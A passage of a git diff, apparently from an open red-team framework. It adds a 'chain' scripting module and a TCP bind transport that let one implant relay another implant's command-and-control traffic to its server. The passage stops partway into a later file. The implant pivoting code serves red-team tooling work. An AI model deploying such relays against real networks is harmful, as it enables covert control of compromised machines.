diff --git a/CLAUDE.md b/CLAUDE.md index cffe298fb..14054dd39 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -97,12 +97,13 @@ The `docs/_docs/` folder contains three guides: ## Eldritch Standard Library -The Eldritch DSL provides 12 modules: +The Eldritch DSL provides 13 modules: | Module | Purpose | |-----------|--------------------------------------| | `agent` | Agent metadata and control | | `assets` | Embedded file access | +| `chain` | Multi-agent chaining | | `crypto` | Encryption, decryption, hashing | | `file` | File system operations | | `http` | HTTP/HTTPS requests | diff --git a/docs/_docs/user-guide/eldritch.md b/docs/_docs/user-guide/eldritch.md index 40aef6ad0..0a59f1b15 100644 --- a/docs/_docs/user-guide/eldritch.md +++ b/docs/_docs/user-guide/eldritch.md @@ -459,6 +459,37 @@ The **assets.read** method returns a UTF-8 string representation of the asset fi --- +## Chain + +The `chain` library enables multi-agent chaining by allowing one agent (Agent A) to proxy C2 traffic for another agent (Agent B). This is useful for establishing communication through intermediary agents in restricted networks. + +### chain.tcp + +`chain.tcp(addr: str) -> int` + +The **chain.tcp** method establishes a chain proxy over TCP, allowing Agent A to forward C2 messages to/from Agent B. Agent A connects to Agent B's bind TCP transport listener at the specified address and proxies gRPC traffic over HTTP/2. + +**Parameters:** +- `addr`: The address and port where Agent B is listening for chain connections (e.g., `"192.168.1.100:8443"`) + +**Returns:** +- `0` on successful initialization (the proxy runs asynchronously in the background) + +**Example:** + +```python +# Agent A connects to Agent B's bind TCP listener and starts proxying traffic +chain.tcp("192.168.1.100:8443") + +# Now Agent B's C2 messages flow through Agent A to Tavern +``` + +**Usage Pattern:** + +Agent A must have one of the standard transports (grpc, http1, dns) configured for its upstream connection to Tavern. Agent B is configured with a TCP bind transport to accept connections from Agent A on a TCP port. + +--- + ## Crypto The `crypto` library offers functionalities to encrypt, decrypt, and hash data. It includes support for algorithms like AES, MD5, SHA1, and SHA256, as well as helpers for base64 encoding and JSON parsing. diff --git a/docs/_docs/user-guide/imix.md b/docs/_docs/user-guide/imix.md index 7d4dbf4e7..4d0721a97 100644 --- a/docs/_docs/user-guide/imix.md +++ b/docs/_docs/user-guide/imix.md @@ -211,6 +211,37 @@ This transport doesn't support eldritch functions that require bi-directional st *Note*: TXT records provide the best performance. +### tcp_bind + +The TCP Bind transport inverts the traditional C2 communication model: instead of the agent connecting outbound to the server, the agent binds to a local TCP port and waits for an upstream agent (or redirector) to connect inward. + +**Use Cases:** +- Agent chaining: An upstream agent (Agent A) connects to a downstream agent's (Agent B) TCP bind port to proxy its C2 traffic +- Network egress restrictions: When agents can't initiate outbound connections but can receive inbound connections +- Multi-stage deployments: Establishing secure communication tunnels between agent stages + +**Configuration:** + +```yaml +transports: + - type: tcp_bind + uri: tcp://0.0.0.0:8443 # Bind address and port +``` + +**Parameters:** +- `uri`: The local address and port to bind on (e.g., `tcp://0.0.0.0:8443`). Use `0.0.0.0` to listen on all interfaces, or specify a specific IP for local-only binding. + +**Important Notes:** + +- **Inverted Nature**: The agent binds and listens; upstream agents or redirectors must initiate the connection. This reverses the typical agent-to-server model. +- **Secure Channel**: TCP Bind is treated as a trusted local channel. Messages are sent as plain protobuf over the TCP connection; encryption (ChaCha20) is applied by the upstream agent when forwarding to Tavern. +- **Agent Chaining**: Use with `chain.tcp()` in Eldritch to have one agent proxy traffic for another. For example: + - Agent B binds on `tcp://0.0.0.0:8443` with TCP Bind transport + - Agent A uses Eldritch to call `chain.tcp("192.168.1.100:8443")` to connect to Agent B + - Agent A proxies all of Agent B's C2 traffic upstream to Tavern +- **Connection Persistence**: The TCP connection is maintained and reused across multiple C2 cycles. If the connection drops, a new upstream connection must be initiated. +- **Not Suitable for Wide-Area Networks**: This transport is designed for local or trusted network chaining. For remote communication, use standard grpc, http1, or dns transports. + ## Logging At runtime, you may use the `IMIX_LOG` environment variable to control log levels and verbosity. See [these docs](https://docs.rs/pretty_env_logger/latest/pretty_env_logger/) for more information. **When building a release version of imix, logging is disabled** and is not included in the released binary. diff --git a/implants/Cargo.toml b/implants/Cargo.toml index 1a7cc7847..0af026f30 100644 --- a/implants/Cargo.toml +++ b/implants/Cargo.toml @@ -26,6 +26,7 @@ members = [ "lib/eldritch/eldritch", "lib/eldritch/eldritch-wasm", "lib/portals/portal-stream", "lib/eldritch/testutils/eldritch-mockagent", + "lib/eldritch/stdlib/eldritch-libchain", ] exclude = [ "lib/eldritch/stdlib/tests", # Excluded to prevent fake_bindings from polluting workspace builds @@ -59,6 +60,11 @@ eldritch-libsys = {path = "lib/eldritch/stdlib/eldritch-libsys",default-features eldritch-libtime = {path = "lib/eldritch/stdlib/eldritch-libtime",default-features = false } portal-stream = { path = "lib/portals/portal-stream" } +http-body-util = "0.1" +hyper-util = { version = "0.1", features = ["full"] } + +eldritch-libchain = {path = "lib/eldritch/stdlib/eldritch-libchain",default-features = false } + aes = "0.8.3" allocative = "0.3.2" allocative_derive = "0.3.2" diff --git a/implants/golem/src/main.rs b/implants/golem/src/main.rs index 409b94cb1..94825c56a 100644 --- a/implants/golem/src/main.rs +++ b/implants/golem/src/main.rs @@ -39,10 +39,10 @@ pub struct ParsedTome { // Build a new runtime fn new_runtime(assetlib: impl ForeignValue + 'static) -> Interpreter { // Maybe change the printer here? - let mut interp = Interpreter::new_with_printer(Arc::new(StdoutPrinter)).with_default_libs(); // Register the libraries that we need. Basically the same as interp.with_task_context but // with our custom assets library let agent = Arc::new(AgentFake {}); + let mut interp = Interpreter::new_with_printer(Arc::new(StdoutPrinter)).with_default_libs(); let task_context = TaskContext { task_id: 0, jwt: String::new(), diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml index 976a26b24..a2357aedc 100644 --- a/implants/imix/Cargo.toml +++ b/implants/imix/Cargo.toml @@ -7,11 +7,12 @@ edition = "2024" crate-type = ["cdylib"] [features] -default = ["install", "grpc", "http1", "dns", "doh"] +default = ["install", "grpc", "http1", "dns", "doh", "tcp-bind"] grpc = ["transport/grpc"] http1 = ["transport/http1"] dns = ["transport/dns"] doh = ["transport/doh"] +tcp-bind = ["transport/tcp-bind"] win_service = [] install = [] tokio-console = ["dep:console-subscriber", "tokio/tracing"] @@ -43,6 +44,7 @@ rust-embed = { workspace = true } console-subscriber = { workspace = true, optional = true } rand = { workspace = true } async-trait = { workspace = true } +eldritch-libchain = { workspace = true, features = ["stdlib"] } [target.'cfg(target_os = "windows")'.dependencies] windows-service = { workspace = true } diff --git a/implants/imix/src/agent.rs b/implants/imix/src/agent.rs index 4e8271cfa..c0a7ea2ff 100644 --- a/implants/imix/src/agent.rs +++ b/implants/imix/src/agent.rs @@ -34,6 +34,15 @@ pub struct ImixAgent { pub process_list_tx: std::sync::mpsc::SyncSender, pub process_list_rx: Arc>>, pub shell_manager_tx: tokio::sync::mpsc::Sender, + pub pending_forwards: Arc< + tokio::sync::Mutex< + Vec<( + String, + tokio::sync::mpsc::Receiver>, + tokio::sync::mpsc::Sender>, + )>, + >, + >, } impl ImixAgent { @@ -57,6 +66,7 @@ impl ImixAgent { process_list_tx, process_list_rx: Arc::new(Mutex::new(process_list_rx)), shell_manager_tx, + pending_forwards: Arc::new(tokio::sync::Mutex::new(Vec::new())), } } @@ -326,6 +336,31 @@ impl ImixAgent { } pub async fn process_job_request(&self) -> Result<()> { + // Dispatch any pending forward_raw requests before checking in. + // Each forward is spawned so the beacon cycle is not blocked by long-running + // streaming calls (e.g. ReportFile). + let pending: Vec<_> = { + let mut forwards = self.pending_forwards.lock().await; + forwards.drain(..).collect() + }; + for (path, rx, tx) in pending { + let agent = self.clone(); + self.runtime_handle.spawn(async move { + if let Ok(mut t) = agent.get_usable_transport().await { + if let Err(_e) = t.forward_raw(path.clone(), rx, tx).await { + #[cfg(debug_assertions)] + log::error!("Deferred forward_raw to {} failed: {}", path, _e); + } + } else { + #[cfg(debug_assertions)] + log::error!( + "Failed to get transport for deferred forward_raw to {}", + path + ); + } + }); + } + let resp = self.claim_tasks().await?; let mut has_work = false; @@ -415,6 +450,7 @@ impl ImixAgent { } // Implement the Eldritch Agent Trait +#[async_trait::async_trait] impl Agent for ImixAgent { fn fetch_asset(&self, req: c2::FetchAssetRequest) -> Result, String> { self.with_transport(|mut t| async move { @@ -502,6 +538,17 @@ impl Agent for ImixAgent { self.with_transport(|mut t| async move { t.claim_tasks(req).await }) } + async fn forward_raw( + &self, + path: String, + rx: tokio::sync::mpsc::Receiver>, + tx: tokio::sync::mpsc::Sender>, + ) -> Result<(), String> { + let mut forwards = self.pending_forwards.lock().await; + forwards.push((path, rx, tx)); + Ok(()) + } + fn get_config(&self) -> Result, String> { let mut map = BTreeMap::new(); // Blocks on read, but it's fast diff --git a/implants/imix/src/run.rs b/implants/imix/src/run.rs index 927dc7da8..d0486cd98 100644 --- a/implants/imix/src/run.rs +++ b/implants/imix/src/run.rs @@ -96,15 +96,16 @@ async fn run_agent_cycle(agent: Arc, registry: Arc) { // Create new active transport let config = agent.get_transport_config().await; - let transport = match transport::create_transport(config) { - Ok(t) => t, - Err(_e) => { - #[cfg(debug_assertions)] - log::error!("Failed to create transport: {_e:#}"); - agent.rotate_callback_uri().await; - return; - } - }; + let transport: Box = + match transport::create_transport(config) { + Ok(t) => t, + Err(_e) => { + #[cfg(debug_assertions)] + log::error!("Failed to create transport: {_e:#}"); + agent.rotate_callback_uri().await; + return; + } + }; // Set transport agent.update_transport(transport).await; diff --git a/implants/imix/src/shell/manager.rs b/implants/imix/src/shell/manager.rs index 7e388f11d..5e001f6b7 100644 --- a/implants/imix/src/shell/manager.rs +++ b/implants/imix/src/shell/manager.rs @@ -261,7 +261,7 @@ impl ShellManager { let mut interpreter = Interpreter::new_with_printer(printer) .with_default_libs() .with_context( - agent.clone(), + agent.clone() as std::sync::Arc, Context::ShellTask(shell_task_context), Vec::new(), backend, diff --git a/implants/imix/src/shell/repl.rs b/implants/imix/src/shell/repl.rs index 8c88e261f..eee4242e8 100644 --- a/implants/imix/src/shell/repl.rs +++ b/implants/imix/src/shell/repl.rs @@ -276,7 +276,12 @@ pub async fn run_repl_reverse_shell( let backend = Arc::new(EmptyAssets {}); let mut interpreter = Interpreter::new_with_printer(printer) .with_default_libs() - .with_context(Arc::new(agent), context.clone(), Vec::new(), backend); // Changed to with_context + .with_context( + Arc::new(agent.clone()) as Arc, + context.clone(), + Vec::new(), + backend, + ); let mut repl = Repl::new(); let stdout = VtWriter { diff --git a/implants/imix/src/task.rs b/implants/imix/src/task.rs index 004f7d19b..d289500f5 100644 --- a/implants/imix/src/task.rs +++ b/implants/imix/src/task.rs @@ -225,7 +225,7 @@ fn setup_interpreter( // Support embedded assets behind remote asset filenames let backend = Arc::new(EmbeddedAssets::::new()); // Register Task Context (Agent, Report, Assets) - interp = interp.with_context(agent, context, remote_assets, backend); + interp = interp.with_context(agent.clone(), context, remote_assets, backend); // Inject input_params let params_map: BTreeMap = tome diff --git a/implants/imix/src/tests/report_large_file_test.rs b/implants/imix/src/tests/report_large_file_test.rs index 07b4270e6..9771c2cdb 100644 --- a/implants/imix/src/tests/report_large_file_test.rs +++ b/implants/imix/src/tests/report_large_file_test.rs @@ -101,6 +101,15 @@ impl Transport for FakeTransport { Ok(()) } + async fn forward_raw( + &mut self, + _path: String, + _rx: tokio::sync::mpsc::Receiver>, + _tx: tokio::sync::mpsc::Sender>, + ) -> anyhow::Result<()> { + Ok(()) + } + fn get_type(&mut self) -> pb::c2::transport::Type { pb::c2::transport::Type::TransportUnspecified } diff --git a/implants/imix/src/tests/task_tests.rs b/implants/imix/src/tests/task_tests.rs index ba4c10879..a6926d630 100644 --- a/implants/imix/src/tests/task_tests.rs +++ b/implants/imix/src/tests/task_tests.rs @@ -22,6 +22,7 @@ impl MockAgent { } } +#[async_trait::async_trait] impl Agent for MockAgent { fn fetch_asset(&self, _req: c2::FetchAssetRequest) -> Result, String> { Ok(vec![]) @@ -108,7 +109,16 @@ impl Agent for MockAgent { fn add_callback_uri(&self, _uri: String) -> std::result::Result<(), String> { Ok(()) } - fn remove_callback_uri(&self, _uri: String) -> std::result::Result<(), String> { + fn remove_callback_uri(&self, _uri: String) -> Result<(), String> { + Ok(()) + } + + async fn forward_raw( + &self, + _path: String, + _rx: tokio::sync::mpsc::Receiver>, + _tx: tokio::sync::mpsc::Sender>, + ) -> Result<(), String> { Ok(()) } } diff --git a/implants/lib/eldritch/eldritch-agent/Cargo.toml b/implants/lib/eldritch/eldritch-agent/Cargo.toml index 066eea608..ece9ba48a 100644 --- a/implants/lib/eldritch/eldritch-agent/Cargo.toml +++ b/implants/lib/eldritch/eldritch-agent/Cargo.toml @@ -5,3 +5,5 @@ edition = "2021" [dependencies] pb = { workspace = true } +tokio = { workspace = true, features = ["sync"] } +async-trait = { workspace = true } diff --git a/implants/lib/eldritch/eldritch-agent/src/lib.rs b/implants/lib/eldritch/eldritch-agent/src/lib.rs index bab160d06..5c46f8d1a 100644 --- a/implants/lib/eldritch/eldritch-agent/src/lib.rs +++ b/implants/lib/eldritch/eldritch-agent/src/lib.rs @@ -11,6 +11,7 @@ pub enum Context { ShellTask(ShellTaskContext), } +#[async_trait::async_trait] pub trait Agent: Send + Sync { // Interactivity fn fetch_asset(&self, req: c2::FetchAssetRequest) -> Result, String>; @@ -53,4 +54,12 @@ pub trait Agent: Send + Sync { // Task Management fn list_tasks(&self) -> Result, String>; fn stop_task(&self, task_id: i64) -> Result<(), String>; + + // Chained transport forwarding + async fn forward_raw( + &self, + path: String, + rx: tokio::sync::mpsc::Receiver>, + tx: tokio::sync::mpsc::Sender>, + ) -> Result<(), String>; } diff --git a/implants/lib/eldritch/eldritch/Cargo.toml b/implants/lib/eldritch/eldritch/Cargo.toml index e84258209..481906a2e 100644 --- a/implants/lib/eldritch/eldritch/Cargo.toml +++ b/implants/lib/eldritch/eldritch/Cargo.toml @@ -23,6 +23,7 @@ eldritch-libregex = { workspace = true, default-features = false } eldritch-libreport = { workspace = true, default-features = false } eldritch-libsys = { workspace = true, default-features = false } eldritch-libtime = { workspace = true, default-features = false } +eldritch-libchain = { workspace = true, default-features = false } pb = { workspace = true, optional = true } eldritch-repl = { workspace = true, default-features = false } @@ -70,6 +71,7 @@ stdlib = [ "eldritch-libreport/stdlib", "eldritch-libsys/stdlib", "eldritch-libtime/stdlib", + "eldritch-libchain/stdlib", ] [dev-dependencies] diff --git a/implants/lib/eldritch/eldritch/src/bindings_test.rs b/implants/lib/eldritch/eldritch/src/bindings_test.rs index b5feb2932..4e14710db 100644 --- a/implants/lib/eldritch/eldritch/src/bindings_test.rs +++ b/implants/lib/eldritch/eldritch/src/bindings_test.rs @@ -26,7 +26,7 @@ fn create_interp() -> Interpreter { } #[cfg(not(feature = "stdlib"))] { - Interpreter::new().with_default_libs() + Interpreter::new() } } diff --git a/implants/lib/eldritch/eldritch/src/lib.rs b/implants/lib/eldritch/eldritch/src/lib.rs index 66c24becf..51eb6fcf0 100644 --- a/implants/lib/eldritch/eldritch/src/lib.rs +++ b/implants/lib/eldritch/eldritch/src/lib.rs @@ -8,6 +8,7 @@ extern crate std; // Re-exports from eldritch-stdlib pub use eldritch_libagent as agent; pub use eldritch_libassets as assets; +pub use eldritch_libchain as chain; pub use eldritch_libcrypto as crypto; pub use eldritch_libfile as file; pub use eldritch_libhttp as http; @@ -47,6 +48,8 @@ pub use crate::assets::std::EmptyAssets; #[cfg(feature = "stdlib")] use crate::assets::std::StdAssetsLibrary; #[cfg(feature = "stdlib")] +use crate::chain::std::StdChainLibrary; +#[cfg(feature = "stdlib")] use crate::crypto::std::StdCryptoLibrary; #[cfg(feature = "stdlib")] use crate::file::std::StdFileLibrary; @@ -115,8 +118,8 @@ impl Interpreter { } } + #[cfg(feature = "stdlib")] pub fn with_default_libs(mut self) -> Self { - #[cfg(feature = "stdlib")] { self.inner.register_lib(StdCryptoLibrary); self.inner.register_lib(StdFileLibrary); @@ -172,6 +175,8 @@ impl Interpreter { let pivot_lib = StdPivotLibrary::new(agent.clone(), context.clone()); self.inner.register_lib(pivot_lib); + self.inner.register_lib(StdChainLibrary::new(agent.clone())); + // Assets library let backend = Arc::new(crate::assets::std::AgentAssets::new( agent.clone(), @@ -214,6 +219,8 @@ impl Interpreter { let pivot_lib = StdPivotLibrary::new(agent.clone(), context.clone()); self.inner.register_lib(pivot_lib); + self.inner.register_lib(StdChainLibrary::new(agent.clone())); + let mut assets_lib = StdAssetsLibrary::new(); // As with previously, remote assets can shadow the Embedded Assets let agent_backend = Arc::new(crate::assets::std::AgentAssets::new( diff --git a/implants/lib/eldritch/stdlib/eldritch-libagent/Cargo.toml b/implants/lib/eldritch/stdlib/eldritch-libagent/Cargo.toml index b3ceee240..68d6821ba 100644 --- a/implants/lib/eldritch/stdlib/eldritch-libagent/Cargo.toml +++ b/implants/lib/eldritch/stdlib/eldritch-libagent/Cargo.toml @@ -7,6 +7,8 @@ edition = "2024" eldritch-core = { workspace = true } eldritch-macros = { workspace = true } eldritch-agent = { workspace = true, optional = true } +tokio = { workspace = true, features = ["sync"] } +async-trait = { workspace = true } serde = { version = "1.0", features = ["derive"] } serde_json = { workspace = true, optional = true } pb = { path = "../../../pb", optional = true } diff --git a/implants/lib/eldritch/stdlib/eldritch-libagent/src/fake.rs b/implants/lib/eldritch/stdlib/eldritch-libagent/src/fake.rs index 671d42153..d3e691281 100644 --- a/implants/lib/eldritch/stdlib/eldritch-libagent/src/fake.rs +++ b/implants/lib/eldritch/stdlib/eldritch-libagent/src/fake.rs @@ -93,6 +93,7 @@ pub struct AgentFake; use alloc::collections::BTreeSet; #[cfg(feature = "stdlib")] +#[async_trait::async_trait] impl Agent for AgentFake { fn fetch_asset(&self, _req: c2::FetchAssetRequest) -> Result, String> { Ok(Vec::new()) @@ -186,4 +187,13 @@ impl Agent for AgentFake { fn remove_callback_uri(&self, _uri: String) -> Result<(), String> { Ok(()) } + + async fn forward_raw( + &self, + _path: String, + _rx: tokio::sync::mpsc::Receiver>, + _tx: tokio::sync::mpsc::Sender>, + ) -> Result<(), String> { + Ok(()) + } } diff --git a/implants/lib/eldritch/stdlib/eldritch-libchain/Cargo.toml b/implants/lib/eldritch/stdlib/eldritch-libchain/Cargo.toml new file mode 100644 index 000000000..f3e0ecefb --- /dev/null +++ b/implants/lib/eldritch/stdlib/eldritch-libchain/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "eldritch-libchain" +version = "0.0.1" +edition = "2021" + +[dependencies] +pb = { workspace = true } +anyhow = { workspace = true } +tokio = { workspace = true, features = ["net", "rt-multi-thread", "sync"] } +tonic = { workspace = true } +bytes = { workspace = true } +log = { workspace = true } +prost = { workspace = true } +hyper = { workspace = true, features = ["server", "http2"] } +hyper-util = { workspace = true, features = ["tokio"] } +http-body-util = { workspace = true } +eldritch-agent = { workspace = true } +eldritch-core = { workspace = true } +eldritch-macros = { workspace = true } + +[features] +default = ["stdlib"] +stdlib = [] +fake_bindings = [] diff --git a/implants/lib/eldritch/stdlib/eldritch-libchain/src/lib.rs b/implants/lib/eldritch/stdlib/eldritch-libchain/src/lib.rs new file mode 100644 index 000000000..814549879 --- /dev/null +++ b/implants/lib/eldritch/stdlib/eldritch-libchain/src/lib.rs @@ -0,0 +1,22 @@ +extern crate alloc; + +use eldritch_macros::{eldritch_library, eldritch_method}; + +pub mod tcp_impl; + +#[cfg(feature = "stdlib")] +pub mod std; + +#[eldritch_library("chain")] +/// The `chain` library provides TCP chaining capabilities. +pub trait ChainLibrary { + #[eldritch_method] + /// Starts the agent proxy serving C2 over a TCP connection. + /// + /// **Parameters** + /// - `addr` (`str`): The TCP address to connect to (e.g., "192.168.1.5:8443"). + /// + /// **Returns** + /// - `int` Error code or 0 on success. + fn tcp(&self, addr: String) -> Result; +} diff --git a/implants/lib/eldritch/stdlib/eldritch-libchain/src/std/chain_impl.rs b/implants/lib/eldritch/stdlib/eldritch-libchain/src/std/chain_impl.rs new file mode 100644 index 000000000..54b1b296d --- /dev/null +++ b/implants/lib/eldritch/stdlib/eldritch-libchain/src/std/chain_impl.rs @@ -0,0 +1,14 @@ +use anyhow::Result; +use eldritch_agent::Agent; +use std::sync::Arc; + +pub fn tcp(addr: String, agent: Arc) -> Result { + tokio::spawn(async move { + if let Err(_e) = crate::tcp_impl::start_tcp_chain_server(&addr, agent).await { + #[cfg(debug_assertions)] + log::error!("tcp chain proxy error: {}", _e); + } + }); + + Ok(0) +} diff --git a/implants/lib/eldritch/stdlib/eldritch-libchain/src/std/mod.rs b/implants/lib/eldritch/stdlib/eldritch-libchain/src/std/mod.rs new file mode 100644 index 000000000..e20d9e877 --- /dev/null +++ b/implants/lib/eldritch/stdlib/eldritch-libchain/src/std/mod.rs @@ -0,0 +1,31 @@ +use super::ChainLibrary; +pub mod chain_impl; + +use alloc::string::String; +use alloc::sync::Arc; +use anyhow::Result; +use eldritch_agent::Agent; +use eldritch_macros::eldritch_library_impl; + +#[eldritch_library_impl(ChainLibrary)] +pub struct StdChainLibrary { + pub agent: Arc, +} + +impl core::fmt::Debug for StdChainLibrary { + fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result { + f.debug_struct("StdChainLibrary").finish() + } +} + +impl StdChainLibrary { + pub fn new(agent: Arc) -> Self { + Self { agent } + } +} + +impl ChainLibrary for StdChainLibrary { + fn tcp(&self, addr: String) -> Result { + chain_impl::tcp(addr, self.agent.clone()).map_err(|e| e.to_string()) + } +} diff --git a/implants/lib/eldritch/stdlib/eldritch-libchain/src/tcp_impl.rs b/implants/lib/eldritch/stdlib/eldritch-libchain/src/tcp_impl.rs new file mode 100644 index 000000000..108fee56b --- /dev/null +++ b/implants/lib/eldritch/stdlib/eldritch-libchain/src/tcp_impl.rs @@ -0,0 +1,149 @@ +use anyhow::{anyhow, Result}; +use bytes::Bytes; +use eldritch_agent::Agent; +use http_body_util::{BodyExt, Full}; +use hyper::body::Incoming; +use hyper::service::service_fn; +use hyper::{Request as HyperRequest, Response as HyperResponse}; +use hyper_util::rt::{TokioExecutor, TokioIo}; + +use std::convert::Infallible; +use std::sync::Arc; + +async fn handle_request( + agent: Arc, + mut req: HyperRequest, +) -> Result>, Infallible> { + let path = req.uri().path().to_string(); + #[cfg(debug_assertions)] + log::debug!("[tcp-chain-server] incoming forward request: {}", path); + + let grpc_response = |body: Vec| { + HyperResponse::builder() + .status(200) + .header("content-type", "application/grpc+proto") + .header("grpc-status", "0") + .body(Full::new(Bytes::from(body))) + .unwrap() + }; + + let _grpc_error = |code: u32, msg: String| { + #[cfg(debug_assertions)] + log::error!("tcp chain proxy: {} — {}", path, msg); + HyperResponse::builder() + .status(200) + .header("content-type", "application/grpc+proto") + .header("grpc-status", code.to_string()) + .header("grpc-message", msg) + .body(Full::new(Bytes::new())) + .unwrap() + }; + + let (tx_in, rx_in) = tokio::sync::mpsc::channel(100); + let (tx_out, mut rx_out) = tokio::sync::mpsc::channel(100); + + let path_clone = path.clone(); + let agent_clone = agent.clone(); + + if let Err(e) = agent_clone.forward_raw(path_clone, rx_in, tx_out).await { + #[cfg(debug_assertions)] + log::error!("tcp forward_raw error: {}", e); + #[cfg(not(debug_assertions))] + let _ = e; + } + + let body_reader = async move { + let mut buffer = bytes::BytesMut::new(); + while let Some(Ok(frame)) = req.body_mut().frame().await { + if let Some(data) = frame.data_ref() { + buffer.extend_from_slice(data); + while buffer.len() >= 5 { + let len = + u32::from_be_bytes([buffer[1], buffer[2], buffer[3], buffer[4]]) as usize; + if buffer.len() >= 5 + len { + let _header = buffer.split_to(5); + let payload = buffer.split_to(len); + if tx_in.send(payload.to_vec()).await.is_err() { + break; + } + } else { + break; + } + } + } + } + // Explicitly drop tx_in so that the upstream connection knows the stream has ended. + drop(tx_in); + }; + + let response_collector = async { + let mut out_bytes = Vec::new(); + while let Some(payload) = rx_out.recv().await { + let len = payload.len() as u32; + out_bytes.push(0); + out_bytes.extend_from_slice(&len.to_be_bytes()); + out_bytes.extend_from_slice(&payload); + } + out_bytes + }; + + let (_, out_bytes) = tokio::join!(body_reader, response_collector); + + Ok(grpc_response(out_bytes)) +} + +/// Start a chain proxy server by connecting to Agent B's TCP listener at `addr`. +/// +/// Agent A calls `chain.tcp("0.0.0.0:8443")` in an Eldritch script. +/// That spawns this function as an async task. +/// Agent A connects outward to Agent B's bound TCP port. +/// Agent A then serves HTTP/2 on that connection. +/// Agent B's C2 messages enter through the TCP socket and exit through +/// Agent A's normal upstream channel. +pub async fn start_tcp_chain_server(addr: &str, agent: Arc) -> Result<()> { + #[cfg(debug_assertions)] + log::info!( + "[tcp-chain-server] connecting to Agent B's TCP listener at {}", + addr + ); + + let stream = match tokio::net::TcpStream::connect(addr).await { + Ok(s) => { + #[cfg(debug_assertions)] + log::info!("[tcp-chain-server] connected to Agent B at {}", addr); + s + } + Err(e) => { + #[cfg(debug_assertions)] + log::error!("[tcp-chain-server] connect error: {}", e); + return Err(anyhow!( + "Failed to connect to Agent B TCP listener at {}: {}", + addr, + e + )); + } + }; + + let agent_clone = agent.clone(); + let io = TokioIo::new(stream); + + #[cfg(debug_assertions)] + log::debug!("[tcp-chain-server] starting HTTP/2 on connection to Agent B"); + let service = service_fn(move |req| { + let a = agent_clone.clone(); + async move { handle_request(a, req).await } + }); + + if let Err(err) = hyper::server::conn::http2::Builder::new(TokioExecutor::new()) + .serve_connection(io, service) + .await + { + #[cfg(debug_assertions)] + log::error!("[tcp-chain-server] HTTP/2 connection error: {:?}", err); + return Err(anyhow!("HTTP/2 connection to Agent B failed: {:?}", err)); + } + + #[cfg(debug_assertions)] + log::info!("[tcp-chain-server] connection closed cleanly"); + Ok(()) +} diff --git a/implants/lib/eldritch/testutils/eldritch-mockagent/Cargo.toml b/implants/lib/eldritch/testutils/eldritch-mockagent/Cargo.toml index bc8c37351..11726ccb8 100644 --- a/implants/lib/eldritch/testutils/eldritch-mockagent/Cargo.toml +++ b/implants/lib/eldritch/testutils/eldritch-mockagent/Cargo.toml @@ -6,3 +6,5 @@ edition = "2024" [dependencies] eldritch-agent = { path = "../../eldritch-agent" } pb = { path = "../../../pb" } +tokio = { workspace = true, features = ["sync"] } +async-trait = { workspace = true } diff --git a/implants/lib/eldritch/testutils/eldritch-mockagent/src/lib.rs b/implants/lib/eldritch/testutils/eldritch-mockagent/src/lib.rs index 62351874f..d2a851179 100644 --- a/implants/lib/eldritch/testutils/eldritch-mockagent/src/lib.rs +++ b/implants/lib/eldritch/testutils/eldritch-mockagent/src/lib.rs @@ -53,6 +53,7 @@ impl Default for MockAgent { } } +#[async_trait::async_trait] impl Agent for MockAgent { fn get_config(&self) -> Result, String> { Ok(self.config.read().unwrap().clone()) @@ -197,4 +198,13 @@ impl Agent for MockAgent { fn stop_task(&self, _task_id: i64) -> Result<(), String> { Ok(()) } + + async fn forward_raw( + &self, + _path: String, + _rx: tokio::sync::mpsc::Receiver>, + _tx: tokio::sync::mpsc::Sender>, + ) -> Result<(), String> { + Ok(()) + } } diff --git a/implants/lib/pb/src/config.rs b/implants/lib/pb/src/config.rs index d9f256fe4..0c10a1754 100644 --- a/implants/lib/pb/src/config.rs +++ b/implants/lib/pb/src/config.rs @@ -94,6 +94,7 @@ fn get_transport_type(uri: &str) -> crate::c2::transport::Type { "https1" => crate::c2::transport::Type::TransportHttp1, "https" => crate::c2::transport::Type::TransportGrpc, "http" => crate::c2::transport::Type::TransportGrpc, + "tcp" => crate::c2::transport::Type::TransportTcpBind, _ => crate::c2::transport::Type::TransportUnspecified, } } diff --git a/implants/lib/pb/src/generated/c2.rs b/implants/lib/pb/src/generated/c2.rs index 2fa422f93..974bf9475 100644 --- a/implants/lib/pb/src/generated/c2.rs +++ b/implants/lib/pb/src/generated/c2.rs @@ -37,6 +37,8 @@ pub mod transport { TransportGrpc = 1, TransportHttp1 = 2, TransportDns = 3, + TransportUds = 4, + TransportTcpBind = 5, } impl Type { /// String value of the enum field names used in the ProtoBuf definition. @@ -49,6 +51,8 @@ pub mod transport { Self::TransportGrpc => "TRANSPORT_GRPC", Self::TransportHttp1 => "TRANSPORT_HTTP1", Self::TransportDns => "TRANSPORT_DNS", + Self::TransportUds => "TRANSPORT_UDS", + Self::TransportTcpBind => "TRANSPORT_TCP_BIND", } } /// Creates an enum from field names used in the ProtoBuf definition. @@ -58,6 +62,8 @@ pub mod transport { "TRANSPORT_GRPC" => Some(Self::TransportGrpc), "TRANSPORT_HTTP1" => Some(Self::TransportHttp1), "TRANSPORT_DNS" => Some(Self::TransportDns), + "TRANSPORT_UDS" => Some(Self::TransportUds), + "TRANSPORT_TCP_BIND" => Some(Self::TransportTcpBind), _ => None, } } diff --git a/implants/lib/transport/Cargo.toml b/implants/lib/transport/Cargo.toml index 9badb5487..3139e3b27 100644 --- a/implants/lib/transport/Cargo.toml +++ b/implants/lib/transport/Cargo.toml @@ -10,6 +10,7 @@ doh = ["dep:hickory-resolver"] http1 = ["pb/http1"] dns = ["dep:base32", "dep:rand", "dep:hickory-resolver", "dep:url"] mock = ["dep:mockall"] +tcp-bind = ["tokio-stream/net"] [dependencies] pb = { workspace = true } diff --git a/implants/lib/transport/src/dns.rs b/implants/lib/transport/src/dns.rs index dfb45f39a..0afda1521 100644 --- a/implants/lib/transport/src/dns.rs +++ b/implants/lib/transport/src/dns.rs @@ -1187,6 +1187,17 @@ impl Transport for DNS { "dns" } + async fn forward_raw( + &mut self, + _path: String, + _rx: tokio::sync::mpsc::Receiver>, + _tx: tokio::sync::mpsc::Sender>, + ) -> anyhow::Result<()> { + Err(anyhow::anyhow!( + "DNS transport does not support raw forwarding" + )) + } + fn list_available(&self) -> Vec { vec!["dns".to_string()] } diff --git a/implants/lib/transport/src/grpc.rs b/implants/lib/transport/src/grpc.rs index e3e017150..69a127398 100644 --- a/implants/lib/transport/src/grpc.rs +++ 